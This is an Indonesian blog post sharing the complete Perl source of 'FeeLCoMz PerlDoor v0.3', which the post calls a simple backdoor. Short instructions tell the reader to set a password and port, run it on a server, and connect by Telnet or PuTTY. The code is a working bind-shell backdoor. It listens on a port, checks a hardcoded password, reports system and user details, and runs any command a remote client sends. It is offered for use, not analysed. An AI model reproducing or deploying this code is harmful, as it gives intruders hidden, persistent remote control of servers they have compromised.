Welcome To My Blog

Senin, 19 Desember 2011

FeeLCoMz PerlDoor v0.3

FeeLCoMz PerlDoor v0.3
Backdoor sederhana yg dibikin pake perl. :D

Cara menjalankan:
+ Ganti password dan portnya (Passwordnya blum pake encrypt nih, hehehe).
+ Jalankan toolnya di server (perl perldoor.pl).
+ Konek lewat Putty atau Telnet ke port yg telah diatur.

Code:
#!/usr/bin/perl

print('
########################################
## FeeLCoMz PerlDoor v0.3             ##
## By FaTaLisTiCz_Fx                  ##
## © Sep-Okt 2008, FeeLCoMz Community ##
########################################
');
#################################
## Features:                   ##
## + Multiclient               ##
## + Password protected (v0.2) ##
## + STDERR handling (v0.3)    ##
#################################

use strict;
use IO::Socket;
use IO::Select;

my $ver = "v0.3";

##[ CONFIGURATIONS ]##
my $pass = "password";
my $port = 2901;
##[ END OF CONFIGURATIONS ]##

my $listenz  = IO::Socket::INET->new(LocalPort => $port, Listen => 5, Reuse => 1 ) or die("Can't create socket for listening: $!");
print "Listening on port $port\n";
my $clientz = IO::Select->new;
$clientz->add($listenz);
my $askpass = 1;
while (1) {
  my ($readz) = IO::Select->select($clientz, undef, undef, undef);
  foreach my $s (@$readz) {
    if ($s == $listenz) {
      my $ns = $listenz->accept;
      $clientz->add($ns) if $ns;
      print $ns "Enter password: ";
    }
    else {
      my $buf = <$s>;
      $buf =~ s/\r|\n//g;
      if (defined $buf) {
        if ($askpass == 1) {
          if ($buf eq $pass) {
            $askpass = 2;
            print $s "\rPassword OK!\r\n";
            print $s "Welcome to FeeLCoMz PerlDoor ".$ver."! Type !keluar to exit!\r\n";
            print $s "System: ".`uname -a`."\r";
            print $s "Uid: ".`id`."\r";
            ##[ PROMPT ]##
            my $dir = `pwd`; my $usr = `whoami`;
            $dir =~ s/\n//; $usr =~ s/\n//;
            print $s "\r\n[$dir]\r\n$usr\@Cmd: ";
          }
          else {
            print $s "\rEnter password: ";
          }
        }
        else {
          if ($buf =~ /!keluar/i) {
            print $s "Bye!\r\n";
            $clientz->remove($s);
            $s->close;
          }
          elsif ($buf =~ /cd\s+(.*)/) {
            my $dir = $1; $dir =~ s/\r//; $dir =~ s/\n//;
            chdir $dir or print $s "Can't cd to $dir !\r";
          }
          else {
            #my @output = `$buf 2>&1`;
            #foreach my $out (@output) { print $s "$out\r"; }
            my $output = open(PH, "$buf 2>&1 |");
            while (<PH>) { print $s "$_\r"; }
          }
          ##[ PROMPT ]##
          my $dir = `pwd`; my $usr = `whoami`;
          $dir =~ s/\n//; $usr =~ s/\n//;
          print $s "\r\n[$dir]\r\n$usr\@Cmd: ";
        }
      }
      else {
        $clientz->remove($s);
        $s->close;
        print STDERR "Client closed!\n";
      }
    }
  }
}

.: No System is Perfectly Safe :.

Tidak ada komentar:

Posting Komentar

 
Buku Tamu